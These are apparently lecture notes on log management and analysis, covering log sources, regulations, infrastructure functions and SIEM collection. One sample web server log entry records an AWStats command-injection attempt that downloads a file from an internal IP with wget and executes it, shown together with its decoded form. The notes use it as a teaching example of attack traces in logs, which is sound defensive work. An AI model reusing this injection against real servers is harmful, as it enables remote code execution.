OVERVIEW OF LOGS ANALYSIS & TOOLS USED

WHAT IS A LOG?

- A log is a record of the events occurring within an organization's systems and networks.
- Logs are composed of log entries; each entry contains information related to a specific event that has occurred within a system or network.
- Common Examples of these computer security logs are audit logs that track user authentication attempts and security device logs that record possible attacks.

USES OF LOG

- Troubleshooting
- Optimizing system & Network Performance
- Recording the actions of users
- Providing data useful for investigating malicious activity

EVENT LOGS, AGGREGATION, CORRELATION AND ANALYSIS

Why do network forensic investigators analyze event logs?

Here are a few reasons:

- The event logs contain information directly relating to network functions, such as DHCP lease histories or network statistics.
- The event logs include records of network activity, such as remote login histories.
- The event logs have been transmitted over the network and therefore created network activity.

NEED OF LOG MANAGEMENT

- Widespread deployment of networked servers, workstations, and other computing devices.
- Ever-increasing number of threats against networks and systems.
- Increase in number, volume, and variety of computer security logs.
- It helps to ensure that computer security records are stored in sufficient detail for an appropriate period of time.
- Routine log reviews and analysis are beneficial for identifying security incidents, policy violations, fraudulent activity, and operational problems shortly after they have occurred, and for providing information useful for resolving such problems.

KEY REGULATIONS, STANDARDS, AND GUIDELINES

- Federal Information Security Management Act of 2002 (FISMA)
- Gramm-Leach-Bliley Act (GLBA)
- Sarbanes-Oxley Act (SOX) of 2002.
- Payment Card Industry Data Security Standard (PCI DSS)
- Health Insurance Portability and Accountability Act of 1996 (HIPAA)

SOURCES OF LOGS

The sources of logs are wide and varied :

- Operating systems of servers and workstations, such as Windows, Linux, or UNIX based operating systems.
- Applications, such as web, database, and DNS servers.
- Network equipment, such as switches, routers, and firewalls.
- Physical devices, such as cameras, access control systems, and other systems.

SOURCES OF LOGS : OPERATING SYSTEM

Operating systems (OS) for servers, workstations, and networking devices (e.g., routers, switches) usually log a variety of information related to security. Common types of Security Related OS data are :

- **System Events**: -
  - System events are operational actions performed by OS components, such as shutting down the system or starting a service.
  - Failed events.
  - Successful logged in events
  - The details logged for each event also vary widely; each event is usually timestamped, and other supporting information could include event, status, and error codes; service name; and user or system account associated with an event.

SOURCES OF LOGS : OPERATING SYSTEM

Operating systems (OS) for servers, workstations, and networking devices (e.g., routers, switches) usually log a variety of information related to security. Common types of Security Related OS data are :

- **Audit Records**.:-
  - Audit records contain security event information such as successful and failed authentication attempts,
  - file accesses,
  - security policy changes,
  - account changes (e.g., account creation and deletion, account privilege assignment), and use of privileges.
  - OSs typically permit system administrators to specify which types of events should be audited and whether successful and/or failed attempts to perform certain actions should be logged.

SOURCES OF LOGS : OPERATING SYSTEM

Event Type: Success Audit
Event Source: Security
Event Category: (1)
Event ID: 517
Date: 3/6/2006
Time: 2:56:40 PM
User: NT AUTHORITY\SYSTEM
Computer: KENT
Description:
The audit log was cleared
Primary User Name: SYSTEM Primary Domain: NT AUTHORITY
Primary Logon ID: (0x0,0x3F7) Client User Name: userk
Client Domain: KENT Client Logon ID: (0x0,0x28BFD)

SOURCES OF LOGS : APPLICATIONS

Most organizations rely on a variety of commercial off-the-shelf (COTS) applications, such as e-mail servers and clients, Web servers and browsers, file servers and file sharing clients, and database servers and clients.

- Some applications generate their own log files, while others use the logging capabilities of the OS on which they are installed.

Some of the most commonly logged types of information are :

- Client requests and server responses
- Account information
- Usage information
- Significant operational actions

SOURCES OF LOGS : APPLICATIONS

Web Server Log Entry Example :

172.30.128.27 - - [14/Oct/2005:05:41:18 -0500] "GET /awstats/awstats.pl?configdir=|echo;echo%20YYY;cd%20%2ftmp%3bwget%20192%2e168%2e1%2e214%2fnikons%3bchmod%20%2bx%20nikons%3b%2e%2fnikons;echo%20YYY;echo| HTTP/1.1" 302 494

The ASCII Equivalent :

config dir=|echo;echo YYY;cd /tmp;wget 192.168.1.214/nikons;chmod +x nikons;/.nikons; echo YYY;echo|

CHALLENGES OF LOG MANAGEMENT

- Log Generation and Storage
  - Many Log Sources
  - Inconsistent Log Content
  - Inconsistent Timestamps
  - Inconsistent Log Formats

FACING THE CHALLENGES

- Solutions :
- Prioritize log management appropriately throughout the organization.
- Establish policies and procedures for log management.
- Provide adequate support for all staff with log management responsibilities
- Create and maintain a secure log management infrastructure.

LOG MANAGEMENT INFRASTRUCTURE

- A log management infrastructure consists of the hardware, software, networks, and media used to generate, transmit, store, analyze, and dispose of log data.

LOG MANAGEMENT INFRASTRUCTURE

A log management infrastructure typically comprises the following three tiers:

- Log Generation : The first tier contains the hosts that generate the log data.
- Log Analysis and Storage : The second tier is composed of one or more log servers that receive log data or copies of log data from the hosts in the first tier.
- Log Monitoring : The third tier contains consoles that may be used to monitor and review log data and the results of automated analysis.

FUNCTIONS OF LOG MANAGEMENT INFRASTRUCTURE

Log management infrastructures typically perform several functions that assist in the storage, analysis, and disposal of log data.

- Log parsing : Extracting data from a log so that the parsed values can be used as input for another logging process.
- Event filtering : The suppression of log entries from analysis, reporting, or long-term storage because their characteristics indicate that they are unlikely to contain information of interest.
- Event aggregation : Similar entries are consolidated into a single entry containing a count of the number of occurrences of the event.

FUNCTIONS OF LOG MANAGEMENT INFRASTRUCTURE

Log management infrastructures typically perform several functions that assist in the storage, analysis, and disposal of log data.

- Log rotation : Closing a log file and opening a new log file when the first file is considered to be complete.
- Log archival : Retaining logs for an extended period of time, typically on removable media, a storage area network (SAN), or a specialized log archival appliance or server.
- Log compression : Storing a log file in a way that reduces the amount of storage space needed for the file without altering the meaning of its contents.

FUNCTIONS OF LOG MANAGEMENT INFRASTRUCTURE

Log management infrastructures typically perform several functions that assist in the storage, analysis, and disposal of log data.

- Log reduction : Removing unneeded entries from a log to create a new log that is smaller.
- Log Conversion : Parsing a log in one format and storing its entries in a second format.
- Log Normalization : Each log data field is converted to a particular data representation and categorized consistently

FUNCTIONS OF LOG MANAGEMENT INFRASTRUCTURE

Log management infrastructures typically perform several functions that assist in the storage, analysis, and disposal of log data.

- Event Correlation : Finding relationships between two or more log entries.
- Log Viewing : Displaying log entries in a human-readable format
- Log Reporting : Displaying the results of log analysis.
- Log Clearing : Removing all entries from a log that precede a certain date and time

SECURITY INFORMATION AND EVENT MANAGEMENT TOOLS

SIEM products have one or more log servers that perform log analysis, and one or more database servers that store the logs.

SIEM products support two ways of collecting logs from log generators:

- Agentless : The SIEM server receives data from the individual log generating hosts without needing to have any special software installed on those hosts.
- Agent-Based : An agent program is installed on the log generating host to perform event filtering and aggregation and log normalization for a particular type of log, then transmit the normalized log data to an SIEM server, usually on a real-time or near-real-time basis for analysis and storage